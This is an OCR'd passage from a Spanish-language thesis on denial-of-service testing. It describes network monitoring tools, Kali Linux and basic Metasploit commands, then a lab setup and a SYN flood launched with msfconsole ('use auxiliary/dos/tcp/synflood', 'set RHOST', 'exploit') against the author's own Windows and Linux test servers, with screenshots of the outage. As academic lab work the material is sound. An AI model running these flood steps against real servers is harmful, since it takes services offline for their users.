El monitoreo de la red es indispensable para poder detectar todo tipo de errores y eventos

que puedan influir en la performance de la misma, para esto se tienen muchas
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herramientas que pueden analizar los diferentes niveles de las capas de red. (Sanchez J.
A., 2013d)
2.10.3. Aplicaciones para el monitoreo de red y seguridad
2.10.3.1. Wireshark

“Antes conocido como Ethereal, permite analizar los protocolos utilizados en la red
para solucionar problemas de comunicacion. Es una herramienta multiplataforma y
gratuita” (Alvarez, 2013a).

Las caracteristicas de Wireshark son: a.-Disponible para Linux y Windows, b.-Captura
de paquetes en vivo desde una interfaz de red, c.-Muestra los paquetes con informacién
detallada de los mismos, d.-Abre y guarda paquetes capturados, e.-Importar y exportar
paquetes en diferentes formatos, f.-Filtrado de informacidn de paquetes, g.-Resaltado de
paquetes dependiendo el filtro, h.-Crear estadisticas. (Alvarez, 2013b)

2.10.3.2. Webmin
Es una herramienta de configuracion de sistemas accesible via web para
OpensSolaris, GNU/Linux y otros sistemas Unix. Con él se pueden
configurar aspecto interno de varios sistemas operativos, como usuarios,
cuotas de espacio, servicios, archivos de configuracién, apagado del equipo,
etc. (Desdelinux, s.f.)
e Puede configurar cuentas de usuarios, Administracion de servicios como
Apache, DNS, Squid, comparticion de archivos, entre otros. (Sanchez J.
A, 2013e)
2.11. Kali Linux
Kali es una distribucion de Linux basada en Debian. Su objetivo es simple; incluya

tantas herramientas de penetracion y auditoria de seguridad como sea posible en un
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paquete conveniente. Kali entrega también muchas de las mejores herramientas de cddigo
abierto para realizar pruebas de seguridad que se recopilan y estan listas para usar.
(Masgnulinux., 2018)

Kali es desarrollado y mantenido por Offensive Security. Son una presencia conocida
y confiable en el mundo de la seguridad, e incluso certifican a los profesionales de la
seguridad con algunas de las certificaciones més respetadas disponibles. (Masgnulinux.,
2018)
Permite a sus usuarios tomar ventaja de la herramienta Advanced Package (APTO) que
proporciona expertos con la posibilidad de afiadir varios repositorios de terceros.
Permiten a los administradores establecer sus propios anfitriones, espejos y puertas de

enlace y de gestionar las instalaciones de software. (Sensors tech forum, 2017)

2.12. Metasploit
Es como una infraestructura que se puede utilizar para construir herramientas de “hacking
a medida”. O a su vez se denomina conjunto de herramientas de explotacion, Metasploit
permite ser ejecutado de diferentes formas, desde linea de comandos, en donde se aceptan
cada uno de los comandos Metasploit de forma independiente, por interfaz web
(deprecada en las ultimas versiones y disponible Gnicamente en versiones antiguas), o por
medio de la consola unificada de Metasploit Ilamada msfconsole (se trata de un intérprete
de comandos bastante robusto que es el sustituto de la interfaz web), esta Gltima es la méas
utilizada por aquellos que utilizan Metasploit para realizar sus pruebas de penetracion.
(Posada, 2013)
2.12.1. Comandos basicos de Metasploit
Entre sus variantes de funcionamiento, aqui detallo los comandos basicos para su

modo consola. (MetaSploit, 2011)
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help: Tal como su nombre indica permite obtener ayuda en un contexto

determinado (exploit o module).

back: Permite salir del contexto actual de ejecucion (exploit o module)

check: Aunque no todos los exploits lo soportan, permite ver si un objetivo
determinado es vulnerable al exploit que se encuentra actualmente

seleccionado en la consola.

connect: Al igual que realizamos una conexién por medio de telnet o netcat,
este comando nos permite conectarnos a un host remoto y enviar ficheros si es

lo que deseamos, también soporta SSL si se le indica la opcién -s

msf> connect 192.168.1.34 23

exploit: Comando utilizado para realizar la ejecucion del exploit cargado en el

contexto de la consola.

run: Comando utilizado para realizar la ejecucion del modulo/auxiliary cargado

en el contexto de la consola.

irb: Permite ejecutar el intérprete de Ruby para metasploit, de este modo se
pueden ingresar comandos y crear scripts al vuelo, esta caracteristica es muy

interesante para conocer la estructura interna del framework.

jobs: Se trata de modulos que se encuentran en ejecucion en “background” este

comando permite listar y terminar comandos existentes.

load: Permite cargar un plugin desde el directorio de plugins ubicado en la ruta

de instalacion, recibe como parametro el nombre del plugin.
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unload: Descarga un plugin cargado, recibe como parametro el nombre del

plugin a descargar.

loadpath: Trata de cargar un directorio donde se encuentran ubicados mddulos,
plugins o exploits externos al framework, de esta forma podemos tener

exploits, payloads, etc. en un directorio independiente.

resource: Carga un fichero de script que es posteriormente utilizado por algun

exploit 0 modulo que depende de él.

route: Permite establecer las tablas de enrutamiento de las sesiones de
Metasploit generadas. Funciona similar al comando route de Linux, permite

adicionar subredes, méascaras de red y gateways.

info: Despliega informacion adicional de un modulo o exploit seleccionado
anteriormente en la consola, incluyendo todas las opciones, objetivos y otra

informacion.

set: Permite establecer opciones del médulo o exploit seleccionado con el fin

de suministrar los datos necesarios para su correcta ejecucion.

unset: Elimina el valor actual de una variable del exploit o mddulo en uso.

sessions: Permite listar, interactuar y terminar sesiones generadas por médulos
0 exploits, estas sesiones pueden ser consolas a maquinas remotas VNC, etc.
con la opcion -l se pueden listar las sessiones generadas, -i <number> permite

iniciar la interaccion con el niimero de consola establecido.
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search: permite ejecutar una busqueda basada en expresiones regulares con un

texto que pueda coincidir con el nombre de un médulo o exploit.

show: Permite mostrar las diferentes opciones para modulos, exploits y

payloads.

msf> show auxiliary

msf> show exploits

setg: Permite definir variables globales que serdn empleadas por todos los
maodulos o exploits cargados, de esta forma es posible definir variables bastante
comunes como LHOST, RHOST, LPORT, RPORT, etc. en una Unica

interaccidn con la consola sin escribir lo mismo una y otra vez.

save: Permite almacenar de forma permanente las variables globales
establecidas con el comando setg y las variables especificas de cada exploit en

uso.

use: Permite establecer el exploit o modulo a usar en la consola de Metasploit.

2.13. WINBOX

Es una herramienta se utiliza propiamente para administrar firewall de Mikrotik usando

una interfaz gréfica, este software permite realizar conexiones FTP, Telnet y SSH.

(Anrrango, 2014)
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3. Analisis de Resultados.

Capitulo 3.

@« Ve e e Ve
Instalacion de Irgztﬁléiﬁ]lizﬂtge Instalacion de
sistemas 2 Seleccion tipo herramientas :
operativos paf[a real:jzar de ataque a para registro Monlt_(éreo de
Linux ataque de realizar contra SEVIdores
: ' Denegacion de el
Windows. RS insidentes
< T\ AN AN T\

Figura 2: Pasos seguir desarrollo DoS

Fuente: Elaboracion del autor

Procedimiento:

Sistemas operativos: para ejecutar el ataque de Denegacién de servicios se trabajo

sobre los sistemas operativos Linux (Ubuntu 18.4) y Windows (Windows Server 2012).

Sistema de ataque de Denegacion de servicios: Para realizar el ataque se utilizé la

herramienta Kali Linux que sirve para generar un ataque de Denegacion de servicios a

través de envio de paquetes mediante exploits se selecciond el ataque que se utilizara es

Flood o también conocido como ataque de inundacion que consiste en bombardear un

sistema con un flujo continuo de trafico que intenta consumir todos los recursos y el

Ancho de Banda de la red del sistema, de esta manera evitar que los usuarios tengan

acceso a determinado servicio.

Herramientas: Para la practica se utiliz6 Webmin e Apache2 servidores para Linux y

Windows server Internet Information Service (11S) para Windows, para el registro y
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control de los incidentes después de cada ataque realizado, con el cual se contd con un
ambiente de produccion real orientado a los incidentes que causara los ataques a cada
servidor atacado.

Sistema de monitoreo: Para realizar el seguimiento del consumo de recursos
enfocado a cada servidor en Linux se realizé mediante Webmin ya que posee dentro del
mismo un sistema de monitoreo llamado System Information que nos permite conocer
rendimiento y el estado de memoria CPU, para Windows se utilizd el sistema de
monitoreo Internet Information Service (11S) el Monitor de Rendimiento que se
encuentra en las Herramientas de Supervision que nos permite ver el rendimiento del

servidor.

Desarrollo:

3.1. Instalacion de la Herramienta VirtualBox, Servidor Windows.
Para el presente trabajo se utilizd la herramienta de virtualizacion Oracle VM
VirtualBox version 5.2.2 1119230 (Qt5.6.2).
Luego de la instalacion de la herramienta de virtualizacion se procedi6 a la instalacion
de las maquinas virtuales tanto para Windows como Linux.
Instalacion de la maquina virtual Windows (Windows Server 2012) con las siguientes
caracteristicas:
e Nombre Servidor Windows
e Sistema operativo Windows 2012 (64 bit)
e Memoria 3608 MB

e Memoria de video 128MB
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3.1.1. Configuracion de Red LAN Servidor Windows.
Para establecer la configuracion de la red de este servidor virtual se procede a configurar
en modo adaptador puente entre la tarjeta de red virtual y la tarjeta de red fisica del servidor, de

esta forma obtenemos un direccionamiento ip en el mismo dmbito de la red local.

{23 Servidor windows - Cenfiguracién ? >

General Red

Sistema Adaptadar 1 Adaptador 2 Adaptador 3 Adaptador 4
Pantalla Habilitar adaptador de red
Almacenamiento Conectado a: | Adaptador puente hd

) Mombre: | Controladora Realtek PCIe GBE Family =~
Audio

[» Avanzadas
Red
Puertos serie
USE

Carpetas compartidas

Interfaz de usuario

OSSR YyEEEN

Cancelar

Figura 3: Configuracion adaptador puente Servidor Windows.
Fuente: VirtualBox

3.1.2 Configuracion de la Red WAN Servidor Windows.

Para realizar las pruebas en una ip publica se utilizé un firewall MikroTik el cual se
administra mediante la herramienta Winbox en donde se realiz6 la configuracion de
redireccionamiento de puertos de ambos servidores para publicar los sitios (ejemplo) con

la ip pablica.
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Figura 4: Configuracion NAT Servidor Windows.

Fuente: Winbox-MikroTik
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3.1.3 Levantamiento de Servidor Windows (Windows Server 2012)

Se procede a verificar la conexion a internet y verificar las direcciones ip de la maquina

para levantar el servidor y realizar las configuraciones.

Detalles de la conexion de red

Detalles de la conexién de red.

Propiedad

Sufjo DNS especfico p...
Descripcidn

Direccion fisica
Habiltado para DHCP
Direccidn IPvd

Mascara de subred [Pvd
Concesidn obtenida

La concesidn expira
Puerta de enlace predet...
Servidor DHCP IPvd
Servidor DNS [Pvd
Servidor WINS IPv4
Habiltado para NetBios
Vinculo: direccion IPv ..
Puerta de enlace predet
Servidor DNS IPvé

<

Valor

Adaptador de escritorio Intel(R) PRO/100
0800276300407

Si

1921682129

255.255.295.0

domingo, 5 de enero de 2020 12:16:52
domingo, 12 de enero de 2020 12:16:51
192.168.21

192.168.21

192.168.21

Si
feB0:2991 cded 2eab 4467412

n >

(239

Centro de redes y recursos compartidos =

T :i: « Redes eIntemet + Centro de redesy recursos compartidos

o] x

v & | Buscar en el Panel de control P‘

Estado de Ethernet

i
5
General
Conexion

Conectividad Pv4: Internet
Conectividad IPv6: Sin acceso a Intemet
Estado del medio: Habiitado
Duradidn: 00:07:51
Veloddad: 1,0 Gbps

Actividad
Enviados — E! = Recbidos
£
Bytes: m | 3%
‘ 18 Propiedades H 4 Deshahilitar H Diagnosticar ‘

Cerrar

Ver informacién bésica de la red y configurar conexiones

dered

nueva conexion o red

conexion de banda ancha, de acceso telefonico o VPN; o bien configurarun
nto de acceso,

lemas

reparar problemas de red u obtener informacién de solucitn de problemas.

Internet
U Ethemet

Tipo de acceso:
Conexiones:

Figura 5: Verificacion de la direccion ip Servidor Windows Server 2012.
Fuente: Windows Server 2012

45

Remove

Reset Counters
Reset All Counters




Se agrega los roles y caracteristicas Internet Information Service (11S) para el Servidor

web y se procedio a instalarlo.

Administrador del servidor

" s . - -y ) ;
[ Asistente para agregar roles y caracteristicas =|o] x |

| ) . [ Asistente para agregar roles y caracteristicas -

Seleccionar roles de servidor
:Desea agregar caracteristicas requeridas para
Seleccione uno o varios roles para instalarios en Servidor web (115)?

LS Las siguientes herramientas son necesarias para administrar esta
caracteristica, pero no tienen que instalarse en el mismo servidor.

4 Servidor web (15}
4 Herramientas de administracidn
[Herramientas] Consola de administracién de IS

[¥ Incluir herramientas de administracién (si es aplicable)
A | Agregar caracteristicas Cancelar
< [
< Anterior Siguiente > nstalar

Figura 6: Instalacion Roles y Caracteristicas Internet Information Service (11S.)
Fuente: Windows Server 2012

Verificacion de Ingreso al Servidor Web antes de la instalacion en la imagen se observa
que nos re direccionara al buscador Web tanto ingresando por la direccion ip o como por

Local Host.

“n hittp:/ /wwew bing.com/searchiq=192.168.2.1298sre=IE-TepResuh&FORM=E11TR&iconvers: O + ¢ ” m localhost - Bing | m 192.168.2.129 - Bing X |

Q Iniciar sesion 2

» 192.168.2.129

TODOS IMAGENES ViDEOS NOTICIAS MI5 ELEMENTOS GUARDADOS

175.000 Resultados Fecha = Idioma = Region =

La direccion IP 192.168.2.129 : Class C Networks Blsquedas relacionadas
hitps./fwww.wikimix info/esfip/192.168.2.129 how to connect to 192 168 1254

La direccidn IP 192.168.2.129 (IPvd Class C Networks) que perlenece a la red 192.168.0.0 -

192.168.255.255 esté escrito en versién larga 1062731135 hitps 192.168.2:100 admin

192.168.2 128 admin
192.168.5.1 admin wireless settings

192.168.2.129 Informacion - MylP.es
hitps:/fmyip es/192 168.2.129 hittps 192 165.1.72 admin
Cuando usas la dltima informacién en nuestra direccion IP y base de datos Wheis nosotros buscaremos 192 168.0.129 admin

completamente lu solicitud para 192.168.2.129. Por favor, confirma que 192.168.2.129 es un dominio,

una direccion IP o un nombre de servidor activos y vilidos, netgear ip address 192 163

admin 192.168.1.231
www.robtex.com Traducir esta pagina

hitps:/iwww robtex com/ip/192 168.2.129 html
Aqui nos gustaria mostrarte una descripeién, pero el sitio web que estds mirando no lo permite

Figura 7: Verificacion de ingreso a la ip local.
Fuente: www.bing.com
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| hittp:/www.bing.com/search?q=localhostBisre=E-TopResult .FORM=E11 TR&conversatior O + € l ™ localhost - Bing

»  localhost Q English  Iniciar sesidn
TODOS IMAGENES viDEOS NOTICIAS MIS ELEMENTOS GUARDADOS
28.200.000 Resultados Fecha + Idioma ~ Region ~
localhost Traduc esta pagina Busquedas relacionadas
https:/flocallhost.com « localhost 8080
localhost, locallhost:8080, locolhost 8080, geek, software, ip address, ip addresses, ip, hitp header, java,
localhost, tomcat, compiler, debugger, host, ruby ... localhost 8069
localhost 1947
Localhost - Wikipedia, la enciclopedia libre localhost ejemplo index
hitps:/fes wikipedia.org/wiki/Localhost ~ Iocalhost wordpress wp admin

Localhost. Ir a la navegacidn Ir a la bisqueda. En Hardware, en el contexto de redes TCP/IP, localhost
es un nombre reservado que tienen todas las computadoras, routers o dispositivos independientemente
de que dispongan o no de una farjeta de red ethemet. El nombre localhost es ...

Control de autoridades: Proyectos Wikimedia,...

como acceder a localhost
ip remotas o locales
moodle uhu entrar

Figura 8: Verificacion de ingreso a Local Host.
Fuente: www.bing.com

Instalacion de los roles y caracteristicas del servidor web Internet Information Service

. . SERVIDOR DE DESTINO
Progreso de la instalacién SERvERWIN
Ver progreso de la instalacién
o Instalacion de caracteristica
| 1
La instalacion comenzd en SERVERWIN
Servidor web (IIS) (]
o de administracié
Consola de administracion de IS
Servidor web =
Caracteristicas HTTP
Documento predeterminado
Examen de directorios
Errores HTTP
Contenido estatico
Estado y diagnostico v
Este asistente se puede cerrar sin interrumpir la ejecucién de las tareas. Para ver el progreso de
la tarea o volver a abrir esta pagina, haga clic en Notificaciones en |a barra de comandos y en
Detalles de Ia tarea.
Exportar opciones de configuracion
[ < Anterior ' [ Siquiente > ‘ Cerrar l Cancelar |

Figura 9 Instalacion de Roles y Caracteristicas de Internet Information Service (11S).
Fuente: Windows Server 2012.
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Luego se verifica si el servidor web esta en funcionamiento cargando mediante la

direccion ip o localmente (Local Host)

@& http://localhost/ P = & | s Windows Server X 192.168.2.129 - Bing

=8 Windows Server

Internet Information Services

Welcome Bienvenue Tervetuloa
&3z% Benvenuto #i0
L 3 h.. Bienvenido Hos geldiniz o'xan oona Welkom

Bem-vindo 1)
KoAwg [obpo
Vitejte Oploate Valkommen [EESSIEIERN noxanosarbh Udvézéljﬂk
Figura 10: Navegacion de Servidor Windows Levantado desde Local Host.
Fuente: Internet Information Services (Windows Server 2012).

@ hitp://192.168.2.129/ £ ~ C || /2 IS Windows Server & 1IS Windows Server

=R Windows Server

Internet Information Services

Welcome Bienvenue Tervetuloa

L£3z% Benvenuto @0

L & b.. Bienvenido Hos geldiniz | oxan o2 Welkom

Bem-vindo L)
KoAwg Aobpo
Vitejte oploate Valkormmmen [SESSEIERS noxanosarsb Udvézt')lji]k
Figura 11: Navegacion de Servidor Windows Levantado desde direccion ip local.
Fuente: Internet Information Services (Windows Server 2012).
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Luego se procede a levantar el servidor y se cargo un ejemplo al servidor para

posteriormente realizar el estudio de Denegacion de Servicios (DoS).

93 SERVERWIN (SERVERWINWAdr

Conexiones mas recienles

Tareas de conexidn

Nombre
S SERVERWIN

Servidor
localhost

Conectarse  localhost
Conectarse a un servidor...
Conectarse a un sitio...
Conectarse a una aplicacion...

Recursos en linea

Informacién y noticias de IS
Descargas de IS

Foros de IS

TechNet

MSON

Noticias de ASPNET
Plataforma web de Microsoft

\

Noticias de IS

Las Noticias de |15 estan deshabilitadas, haga clic en el vineulo Habilitar Noticias de 115 para obtener las noticias en linea mas recientes,

Habilitar Naticias de IS

< [T | 3

Figura 12: Configuracién de Servidor Windows (SERVERWIN).
Fuente: Internet Information Services (Windows Server 2012).

Se subi6 la pagina de Ejemplo para en lo posterior atacar el servidor Windows.

@ http://localhost/

P-c ﬁ' gemplo hala mundo

Hola Mundo

Figura 13: Navegacion de Ejemplo mediante direccion localhost.

Fuente: Local Host Windows Server 2012.
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3.2. Instalacion de la maquina virtual Ubuntu (18.04)

Segundo, se instal6 la maquina virtual en Linux con las siguientes caracteristicas:
e Nombre: Servidor Linux
e Sistema operativo: Ubuntu 18.4 (64 bit)
e Memoria 5079 MB

e Memoria de video 16 MB

3.2.1 Configuracion de red LAN servidor Linux
Para establecer la configuracion de la red de este servidor virtual se procede a
configurar en modo adaptador puente entre la tarjeta de red virtual y la tarjeta de red fisica

del servidor, de esta forma obtenemos un direccionamiento ip en el mismo dambito de la

red local.
{23 Servidor linux - Configuracién ? *
@ General Red
E Sisterna Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Pantalla Habilitar adaptador de red
Almacenamienta Conectado a: | Adaptador puente -
. Mombre: | Controladora Realtek PCIe GBE Family ~
w Audio
[ Avanzadas
WP Red
‘@ Puertos serie
ﬁ UsE
|j Carpetas compartidas
E Interfaz de usuaric

Figura 14: Configuracion adaptador puente Servidor Linux.
Fuente: VirtualBox
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3.2.2 Configuracion de la Red WAN Servidor Linux

Para realizar las pruebas en una ip publica se utilizd un firewall Mikrotik el cual se

administrar mediante la herramienta Winbox en donde se realiz6 la configuracion de

redireccionamiento de puertos de ambos servidores para publicar los sitios (ejemplo) con

la ip pablica.

A Cuick Set
L CAPsMAN
[ interfaces
L Wireless
iy Bridge

=g PPP

= Switch
%18 Mesh

5 P

&’ MPLS

3 Routing
i System
Q Queves
[ES Fles

|| Log

M RaDIUS
A Tools

|l New Teminal
<l» Dot1X
*5 MetaROUTER
% Partition

Fiter Aules NAT |Mangle Raw Service Pots Connections Address Lists Layer7 Protocols

= & % (O T 00 ResetCounters || 00 Reset Al Counters

#

W = o

Action  |Chain Src. Address |Dst. Address |Proto... |Src. Port |Dst. Port  |In_Inter|Out. Int... In_Inter__ | Out. Int... |Sre. Ad_. |Dst. Ad... |Bytes

I mas... srenat 11,6 KB
Adst- . detnat 186581181 6 fep) 3151 0B
|l dat-... dstnat 186.5.81.181 6 fep) 10000 0B
“dat-.. dstnat 186.5.81.181 6 fiep) 8081 08

NAT Rule <186.5.81.181:8081>

Figura 15: Configuracion NAT Servidor Linux.
Fuente: Winbox-MikroTik

3.2.3 Levantamiento de Servidor Linux Ubuntu 18.4 (Apache2)

General Advanced Edra Action | Stafisics
Action: ¥
Leg
Log Prefix: e
To Addresses: | 172.16.80.81 -
To Ports: |80 =

| Remove
Reset Courters
| Reset All Counters

NAT Rule <186.5.81.181:8081>
General Advanced Extra Action Statistics

Chain: |dstnat

Src. Address:

Dst. Address

Protocal
Src. Port
Dst. Port

Any. Port

In. Inteface:

Out. Interface

186.5.81.181

6 ften)

8080

* Cancel
v
-
Disable
¥ A Comment
- e |
- Remove

Se procede a la instalacion del servidor (Apache2) con el comando sudo apt-get install

apache2 este comando instalo todos los drivers necesarios para el servidor web para poder

utilizarlo.
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edison@edison-VirtualBox: ~

Archivo Editar Ver Buscar Terminal Ayuda
tomcat9-examples - Apache Tomcat 9 - Servlet and JSP engine -- example web appli
cations
tomcat9-user - Apache Tomcat 9 - Servlet and ISP engine -- tools to create user
instances
edison@edison-VirtualBox:~$ sudo apt-get install apache2
[sudo] contrasena para edison:
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias
Leyendo la informacién de estado... Hecho
Se instalaran los siguientes paquetes adicionales:
apache2-bin apache2-data apache2-utils libapr1i libaprutili
libaprutili-dbd-sqlite3 libaprutili-ldap liblua5.2-0
Paquetes sugeridos:
apache2-doc apache2-suexec-pristine
| apache2-suexec-custom
Se instalaran los siguientes paquetes NUEVOS:
apache2 apache2-bin apache2-data apache2-utils libapri
libaprutilil libaprutili-dbd-sqlite3 libaprutili-ldap
libluas.2-0
0 actualizados, 9 nuevos se instalaran, © para eliminar y 242 no actualizados.
Se necesita descargar 1.713 kB de archivos.
Se utilizaran 6.917 kB de espacio de disco adicional después de esta operacién.
;Desea continuar? [S/n] s
Des:1 http://ec.archive.ubuntu.com/ubuntu bionic/main amd64 libapri amd64 1.6.3-

Figura 16: Instalacion del Servidor Apache2.
Fuente: Terminal Ubuntu 18.04

Luego, Se procede a verificar la conexion a internet y las direcciones ip de la maquina

para levantar el servidor.

edison@edison-VirtualBox: ~

Archivo Editar Ver Buscar Terminal Ayuda
disparadores para libc-bin (2.27-3ubuntul)
disparadores para ureadahead (0.100.0-21)
disparadores para systemd (237-3ubuntu1l0.24)
disparadores para ufw (0.36-0ubuntu06.18.04.1)
edison@edison-VirtualBox:~$ ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
netmask 255.255.255.0 broadcast 172.16.50.255
inet6 feB80::e4c9:acff:b2b3:a7ef prefixlen 64 scopeid 0x20<link>
ether 08:00:27:82:48:30 txqueuelen 1000 (Ethernet)
RX packets 2609 bytes 2214916 (2.2 MB)
RX errors © dropped © overruns © frame 0
TX packets 630 bytes 113093 (113.0 KB)
TX errors © dropped © overruns 0 carrier © collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Bucle local)
RX packets 392 bytes 30619 (30.6 KB)
RX errors © dropped © overruns © frame 0
TX packets 392 bytes 30619 (30.6 KB)
TX errors © dropped © overruns © carrier © collisions ©

edison@edison-VirtualBox:~$ l
Figura 17: Verificacién de la ip del Servidor Ubuntu 18.04
Fuente: Terminal Ubuntu 18.04

Se procede a levantar el servidor y cargar el ejemplo para en lo posterior realizar el

ataque al servidor Linux.

52



ejemplo hola mundo - Mozilla Firefox

ejemplo hola mundo b +
& ¢ @ ) localhost R noe& =
Hola Mundo

Figura 18: Navegacion de Ejemplo mediante localhost.
Fuente: Local Host Ubuntu 18.04

3.2.4 Levantamiento de Servidor Linux Ubuntu 18.4 (Webmin)
Se procede a la instalacion del servidor (Webmin) con el comando sudo apt install
Webmin este comando instalo todos los drivers necesarios para el servidor web y poder

utilizarlo.

edison@edison-VirtualBox: ~

Archivo Editar Ver Buscar Terminal Ayuda
edison@edison-VirtualBox:~$ sudo apt install webmin
[sudo] contrasefa para edison:

Lo sentimos, vuelva a intentarlo.

[sudo] contrasefa para edison:

Lo sentimos, vuelva a intentarlo.

[sudo] contrasefia para edison:

Leyendo lista de paquetes... Hecho
Creando arbol de dependencias
Leyendo la informacidén de estado... Hecho
ebmin ya esta en su version mas reciente (1.948-2).
@ actualizados, ® nuevos se instalaran, @ para eliminar y 241 no actualizados.
edison@edison-VirtualBox:~$ I

Figura 19: Instalacién Webmin
Fuente: Terminal Ubuntu 18.04

Luego, Se procede a verificar la conexion a internet y las direcciones ip de la maquina

para levantar el servidor.
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edison@edison-VirtualBox: ~

Archivo Editar Ver Buscar Terminal Ayuda
Procesando disparadores para libc-bin (2.27-3ubuntul) ...
Procesando disparadores para ureadahead (0.100.0-21) ...
Procesando disparadores para systemd (237-3ubuntu10.24) ...
Procesando disparadores para ufw (0.36-0ubuntu0.18.04.1) ...
edison@edison-VirtualBox:~$S ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
netmask 255.255.255.0 broadcast 172.16.50.255
inet6 feB80::e4c9:acff:b2b3:a7ef prefixlen 64 scopeid 0x20<link>
ether 08:00:27:82:48:30 txqueuelen 1000 (Ethernet)
RX packets 2609 bytes 2214916 (2.2 MB)
RX errors © dropped © overruns © frame 0
TX packets 630 bytes 113093 (113.0 KB)
TX errors © dropped © overruns © carrier © collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Bucle local)
RX packets 392 bytes 30619 (30.6 KB)
RX errors © dropped © overruns © frame 0
TX packets 392 bytes 30619 (30.6 KB)
TX errors © dropped © overruns © carrier © collisions ©

edison@edison-VirtualBox:~$ l
Figura 20: Verificacién de la ip del servidor Ubuntu 18.04
Fuente: Terminal Ubuntu 18.04

Se procede a levantar los servidores con el puerto respectivo de Webmin, para verificar

si se levantd los Servicios y para en lo posterior realizar el ataque al servidor Webmin.

& Webmin

You must enter a username and
password to login to the server on
172.16.5.72

Remember me
% Signin

Figura 21: Verificacion de Servidor Webmin este activo
Fuente: Webmin
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Figura 22: Menu Webmin
Fuente: Webmin

3.3.Instalacion de la Herramienta Kali Linux.
Instalacion de la herramienta Kali Linux en VirtualBox con un sistema operativo Linux
en otra maquina configurandolo de la siguiente manera:
e Nombre: Kali Linux
e Sistema Operativo: Linux 2.6 (64 bit)
e Memoria 1024 MB
e Memoria de video 16 MB

e Almacenamiento 16 GB
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Finalizado las configuraciones de la instalacion de la herramienta Kali Linux se

procede a instalar en la maquina virtual la imagen de Kali Linux.

Archivo Méquina Ver Entrada Dispositivos  Ayuda
11:33PM O A G3% B G

Papelera

Sistema de ...

ft

Carpeta per..

VBox_GAs_...

Figura 23: Herramienta Kali Linux GUI
Fuente: Imagen escritorio Kali Linux

3.4. Pasos a seguir para realizar un ataque mediante la consola Metasploit en Kali

Linux:

a) Ingresar al terminal Metasploit

b) Ejecutar el comando msfconsole para ingresar a la consola msf5 de Matasploit.

¢) Seingresa con el comando use auxiliary/dos/tcp/synflood que es donde se encuentra
el archivo para realizar el ataque Flood o también conocido como ataque de
inundacion que consiste en bombardear un sistema con un flujo continuo de trafico
que intenta consumir todos los recursos y el Ancho de Banda de la red del sistema.

d) Luego se ingresé a la direccion ip a la que se quiere atacar con el comando set RHOST
172.0.0.0 en casos cuando se utiliza direcciones ip publicas también se utiliza el
comando set RPORT 8080 para especificar el puerto en el cual se encuentra dicha red,

se puede utilizar el programa Wireshark que muestra el trafico de la red y también los
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paquetes que lleva cada direccion ip y dentro de cada paquete se puede ingresar y ver
el puerto que se utiliza.
e) Yaobtenido todo esto se precede a ejecutar el ataque como se lo conoce en Kali Linux

“Attack” con el comando exploit.

3.5. Diagrama-Ataque Red LAN

Victima de un DNS Spoofing local

Victima Servidor DNS

ejemplo.com

Consulta por
malicioso

Respuesta Servidor

wWWwW

- Servidor
' malicioso
Atacante

rol de DNS malicioso

Figura 24: Diagrama ataque red LAN.
Fuente: (Azamar, 2017)

3.6.Diagrama-Ataque Red WAN

Attacker Computers

s _J
]‘ i ]‘ ﬁ Malicious Traffic

S \_J
]‘ i ]‘ Internet Target Server
» R
ae
—

7 Il

Real Users

z z — Out of Resources |
Clean Traffic A SERVICE OFFLINE

Figura 25: Diagrama Red WAN.
Fuente: (NEXTVISION, 2018)
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3.7.Ataque de Denegacion de Servicios (DoS) Mediante Kali Linux utilizando
Metasploit.
3.7.1. Primer ataque realizado a el servidor Windows (Windows Server
2012) Localmente red LAN
El servidor esta inicializado por el cual se comprueba mediante la direccion ip local
para verificar que este navegando.

&« C (@ Noesseguro | 17216574

Hola Mundo

Figura 26: Verificacion de Navegacion de Servidor Windows mediante direccién ip local.
Fuente: Navegacion ip local Windows Server 2012

Siguiendo los pasos ya descritos anteriormente se procedié a realizar el ataque al

servidor Windows (Windows server 2012)

root@kali: ~

Vista Ayuda

metasploit v5.0.6@8-dev

1947 exploits - 1089 auxiliary - 333 post
556 payloads - 45 encoders - 10 nops

7 evasion

> use auxiliary/dos/tcp/synflood

auxiliary( ) > set RHOST 172.16.5.74
RHOST = 172.16.5.74
msf5 auxiliary( ) > exploit

Running module against 172.16.5.74&4

SYN flooding 172.16.5.74:80 ...

Figura 27: Ataque Realizado a Servidor Windows mediante Metasploit en Kali Linux.
Fuente: msfConsole Kali Linux
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Se verifica que los servicios hayan caido del servidor Windows (Windows server

2012)

o C O 17216574

No se puede acceder a este sitio web

No se puede acceder a la pagina 172.16.5.74 en este momento

Prueba a ejecutar Diagnosticos de red de Windows

Figura 28: Verificacion de Caida del Servidor Navegando desde la direccion ip local.
Fuente: Navegacion ip local Windows Server 2012

Se procede a parar el ataque con las teclas Ctrl ¢ y verificar si nuevamente se levanta

el servicio de la pégina de ejemplo.

root(@ kali: ~

Archivo Acciones Editar Vista Ayuda

root@kali: ~ x

metasploit w5

1947 exploits - 1889 auxiliary - 333 post
556 payloads - 45 encoders - 1@ nops

7 evasion

nnnn
1

>

msfS >
msf5 > use auxiliary/dos/tcp/synflood
msf5 auxiliary( ) > set RHOST 172.16.5.74
RHOST = 172.16.5.74
msf5 auxiliary( ) > exploit
Running module against 172.16.5.74

SYN flooding 172.16.5.74:80 ...

“C Stopping running againest current target ...
Control-C again to force quit all targets.
Auxiliary module execution completed

msf5 auxiliary( N |

Figura 29: Detencion del Atague de Metasploit en el Servidor Windows.
Fuente: msfConsole Kali Linux
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Verificar que los servicios estén levantados nuevamente para asegurar que el ataque

se haya detenido.

& C (@ Noesseguro | 17216574

Hola Mundo

Figura 30: Verificacion de servicio activo en el servidor Windows después de la detencion del
ataque.
Fuente: Navegacion ip local Windows Server 2012

3.7.2. Segundo ataque realizado al servidor Linux (Ubuntu 18.4)
Localmente red LAN
El servidor esta inicializado por el cual se comprueba mediante la direccion ip local

para verificar que se esté navegando.

ejemplo hola mundo

< -5 C i) 172.16.80.81

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter

